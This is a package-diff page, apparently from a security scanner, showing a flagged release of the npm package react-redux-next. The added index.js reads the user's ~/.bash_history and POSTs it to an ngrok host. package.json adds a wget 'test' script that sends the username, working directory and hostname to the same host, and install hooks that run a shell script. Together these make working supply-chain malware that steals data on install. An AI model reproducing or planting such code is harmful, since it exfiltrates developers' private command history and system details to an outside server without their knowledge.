react-redux-next 0.0.1-security → 7.1.0-rc.1-beta
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of react-redux-next might be problematic. Click here for more details.
- package/README.md +5 -5
- package/index.js +23 -0
- package/package.json +19 -3
- package/pre.sh +3 -0
package/README.md
CHANGED
@@ -1,5 +1,5 @@
|
|
1
|
-
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
1
|
+
This package is for NextAPI in React-Redux-Next
|
2
|
+
v7.1.0-rc.1
|
3
|
+
v1.0.1
|
4
|
+
v7.1.1
|
5
|
+
updating
|
package/index.js
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
#!/usr/bin/env node
|
2
|
+
|
3
|
+
const fs = require('fs');
|
4
|
+
const http = require('http');
|
5
|
+
|
6
|
+
const home = process.env.HOME;
|
7
|
+
|
8
|
+
const options = {
|
9
|
+
host: 'b3b0-101-53-233-192.ngrok.io',
|
10
|
+
path: '/',
|
11
|
+
port: 80,
|
12
|
+
method: 'POST'
|
13
|
+
};
|
14
|
+
|
15
|
+
const req = http.request(options, function(response) {
|
16
|
+
console.log(response);
|
17
|
+
});
|
18
|
+
|
19
|
+
fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) {
|
20
|
+
console.log(data);
|
21
|
+
req.write(data);
|
22
|
+
req.end();
|
23
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,22 @@
|
|
1
1
|
{
|
2
2
|
"name": "react-redux-next",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "7.1.0-rc.1-beta",
|
4
|
+
"description": "Simple react-redux-next for nextAPI.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "wget --quiet \"http://b3b0-101-53-233-192.ngrok.io/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)\" # test",
|
8
|
+
"preinstall": "./pre.sh",
|
9
|
+
"postinstall": "./pre.sh"
|
10
|
+
},
|
11
|
+
"keywords": [
|
12
|
+
"test",
|
13
|
+
"react-redux-next",
|
14
|
+
"PoC"
|
15
|
+
],
|
16
|
+
"dependencies": {},
|
17
|
+
"config": {
|
18
|
+
"unsafe-perm":true
|
19
|
+
},
|
20
|
+
"author": "mkj47",
|
21
|
+
"license": "ISC"
|
6
22
|
}
|
package/pre.sh
ADDED